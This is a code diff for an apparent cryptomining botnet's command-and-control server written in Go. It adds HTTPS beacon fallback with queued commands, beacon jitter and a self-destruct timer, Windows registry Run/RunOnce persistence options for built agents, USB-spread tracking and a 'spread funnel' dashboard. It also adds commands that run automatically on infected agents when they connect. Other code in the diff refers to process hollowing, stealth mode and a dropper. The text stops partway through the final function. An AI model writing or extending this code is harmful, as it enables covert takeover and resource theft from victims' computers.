||||
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
||||
r.Get("/audit", fleetHandler.GetAudit)
|
||||
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
||||
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
||||
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
}
|
||||
|
||||
// Shares
|
||||
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||||
type ConnectTaskRunner interface {
|
||||
RunConnectTasks(agentID, trigger string)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -122,12 +127,18 @@ type WSHub struct {
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
connectTasks ConnectTaskRunner
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||||
h.mu.Lock()
|
||||
h.connectTasks = r
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
ids := make([]string, 0, len(h.agents))
|
||||
for id := range h.agents {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
USBSpread: auth.USBSpread,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
workerName := auth.WorkerName
|
||||
if workerName == "" {
|
||||
workerName = auth.Worker
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
go h.runPingLoopAgent(ac)
|
||||
|
||||
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
runner := h.connectTasks
|
||||
h.mu.RUnlock()
|
||||
if runner != nil {
|
||||
if isNewAgent {
|
||||
go runner.RunConnectTasks(agentID, "on_connect")
|
||||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
name := agentID
|
||||
if h.db != nil {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||||
name = ag.Name
|
||||
}
|
||||
}
|
||||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
|
||||
@@ -39,6 +39,12 @@ type BuildRequest struct {
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
AutostartMode string `json:"autostart_mode"`
|
||||
RegistryPersistence string `json:"registry_persistence"`
|
||||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||||
RegistryRunOnce bool `json:"registry_run_once"`
|
||||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
@@ -97,6 +103,13 @@ type BuildRequest struct {
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
|
||||
// Connection profile — C2 beacon timing and agent self-destruct
|
||||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
user := ""
|
||||
if u, _, ok := r.BasicAuth(); ok {
|
||||
user = u
|
||||
}
|
||||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||||
})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||||
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
AutostartMode: %q,
|
||||
RegistryPersistence: %q,
|
||||
RegistryRunHKCU: %v,
|
||||
RegistryRunHKLM: %v,
|
||||
RegistryRunOnce: %v,
|
||||
RegistryExplorerRun: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
|
||||
BeaconIntervalSec: %d,
|
||||
BeaconJitterPct: %d,
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
strings.TrimSpace(req.AutostartMode),
|
||||
strings.TrimSpace(req.RegistryPersistence),
|
||||
req.RegistryRunHKCU,
|
||||
req.RegistryRunHKLM,
|
||||
req.RegistryRunOnce,
|
||||
req.RegistryExplorerRun,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
req.BeaconIntervalSec,
|
||||
req.BeaconJitterPct,
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
)
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
}
|
||||
for _, u := range req.BackupServerURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||||
if req.HTTPSBeaconAfterMin > 0 {
|
||||
return req.HTTPSBeaconAfterMin
|
||||
}
|
||||
return 3
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
|
||||
@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
41
server/internal/builder/registry_persistence.go
Normal file
41
server/internal/builder/registry_persistence.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
|
||||
func normalizeRegistryPersistence(req *BuildRequest) {
|
||||
if req == nil {
|
||||
return
|
||||
}
|
||||
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
|
||||
return
|
||||
}
|
||||
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
|
||||
return
|
||||
}
|
||||
count := 0
|
||||
if req.RegistryRunHKCU {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunOnce {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunHKLM {
|
||||
count++
|
||||
}
|
||||
if req.RegistryExplorerRun {
|
||||
count++
|
||||
}
|
||||
if count == 1 {
|
||||
switch {
|
||||
case req.RegistryRunHKCU:
|
||||
req.RegistryPersistence = "hkcu_run"
|
||||
case req.RegistryRunOnce:
|
||||
req.RegistryPersistence = "hkcu_run_once"
|
||||
case req.RegistryRunHKLM:
|
||||
req.RegistryPersistence = "hklm_run"
|
||||
case req.RegistryExplorerRun:
|
||||
req.RegistryPersistence = "explorer_run"
|
||||
}
|
||||
return
|
||||
}
|
||||
req.RegistryPersistence = "combined"
|
||||
}
|
||||
30
server/internal/builder/registry_persistence_test.go
Normal file
30
server/internal/builder/registry_persistence_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run_once" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "combined" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
RegistryPersistence: "hkcu_run",
|
||||
RegistryRunHKLM: true,
|
||||
}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run" {
|
||||
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
|
||||
Write-Host "Removing persistence..."
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
|
||||
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
|
||||
|
||||
if (%s) {
|
||||
Write-Host "Removing Windows Firewall rules..."
|
||||
|
||||
@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
|
||||
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
|
||||
script := generateUninstallScript("build-id", req)
|
||||
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
|
||||
if !strings.Contains(script, frag) {
|
||||
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "office-pc",
|
||||
|
||||
@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
|
||||
}) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
var notes, tagsRaw string
|
||||
var usbSpread int
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.Notes = notes
|
||||
a.Tags = decodeTags(tagsRaw)
|
||||
a.USBSpread = usbSpread == 1
|
||||
return a, nil
|
||||
}
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
55
server/internal/db/audit.go
Normal file
55
server/internal/db/audit.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
|
||||
var detailJSON []byte
|
||||
if detail != nil {
|
||||
var err error
|
||||
detailJSON, err = json.Marshal(detail)
|
||||
if err != nil {
|
||||
detailJSON = []byte("{}")
|
||||
}
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
|
||||
time.Now(), username, action, agentID, string(detailJSON),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []*models.AuditEntry
|
||||
for rows.Next() {
|
||||
e := &models.AuditEntry{}
|
||||
var detailStr string
|
||||
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if detailStr != "" {
|
||||
e.Detail = json.RawMessage(detailStr)
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
46
server/internal/db/audit_test.go
Normal file
46
server/internal/db/audit_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAuditLogRoundTrip(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rows, err := d.ListAudit(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
|
||||
t.Fatalf("unexpected audit rows: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetTasksCRUD(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
|
||||
if err := d.UpsertFleetTask(task); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
list, err := d.ListFleetTasks()
|
||||
if err != nil || len(list) != 1 {
|
||||
t.Fatalf("list: %v err=%v", list, err)
|
||||
}
|
||||
if err := d.DeleteFleetTask(list[0].ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
97
server/internal/db/fleet_tasks.go
Normal file
97
server/internal/db/fleet_tasks.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
|
||||
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanFleetTasks(rows)
|
||||
}
|
||||
|
||||
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
|
||||
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
|
||||
return scanFleetTaskRow(row)
|
||||
}
|
||||
|
||||
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
|
||||
if t.ID == "" {
|
||||
t.ID = uuid.New().String()
|
||||
}
|
||||
now := time.Now()
|
||||
if t.CreatedAt.IsZero() {
|
||||
t.CreatedAt = now
|
||||
}
|
||||
t.UpdatedAt = now
|
||||
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
enabled = excluded.enabled,
|
||||
trigger = excluded.trigger,
|
||||
interval_hours = excluded.interval_hours,
|
||||
cron_time = excluded.cron_time,
|
||||
action = excluded.action,
|
||||
command = excluded.command,
|
||||
target = excluded.target,
|
||||
updated_at = excluded.updated_at`,
|
||||
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) DeleteFleetTask(id string) error {
|
||||
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
|
||||
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
|
||||
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
|
||||
agentID, taskID, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
||||
var ts time.Time
|
||||
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
|
||||
if err != nil {
|
||||
return time.Time{}, false
|
||||
}
|
||||
return ts, true
|
||||
}
|
||||
|
||||
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
|
||||
var out []*models.FleetTask
|
||||
for rows.Next() {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
52
server/internal/db/spread_stats.go
Normal file
52
server/internal/db/spread_stats.go
Normal file
@@ -0,0 +1,52 @@
|
||||
package db
|
||||
|
||||
import "time"
|
||||
|
||||
type SpreadFunnelRow struct {
|
||||
BuildID string `json:"build_id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Count int `json:"count"`
|
||||
USBSpread int `json:"usb_spread_count"`
|
||||
}
|
||||
|
||||
type SpreadFunnelStats struct {
|
||||
ByBuild []SpreadFunnelRow `json:"by_build"`
|
||||
NewConnectsToday int `json:"new_connects_today"`
|
||||
TotalAgents int `json:"total_agents"`
|
||||
}
|
||||
|
||||
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
||||
stats := &SpreadFunnelStats{}
|
||||
|
||||
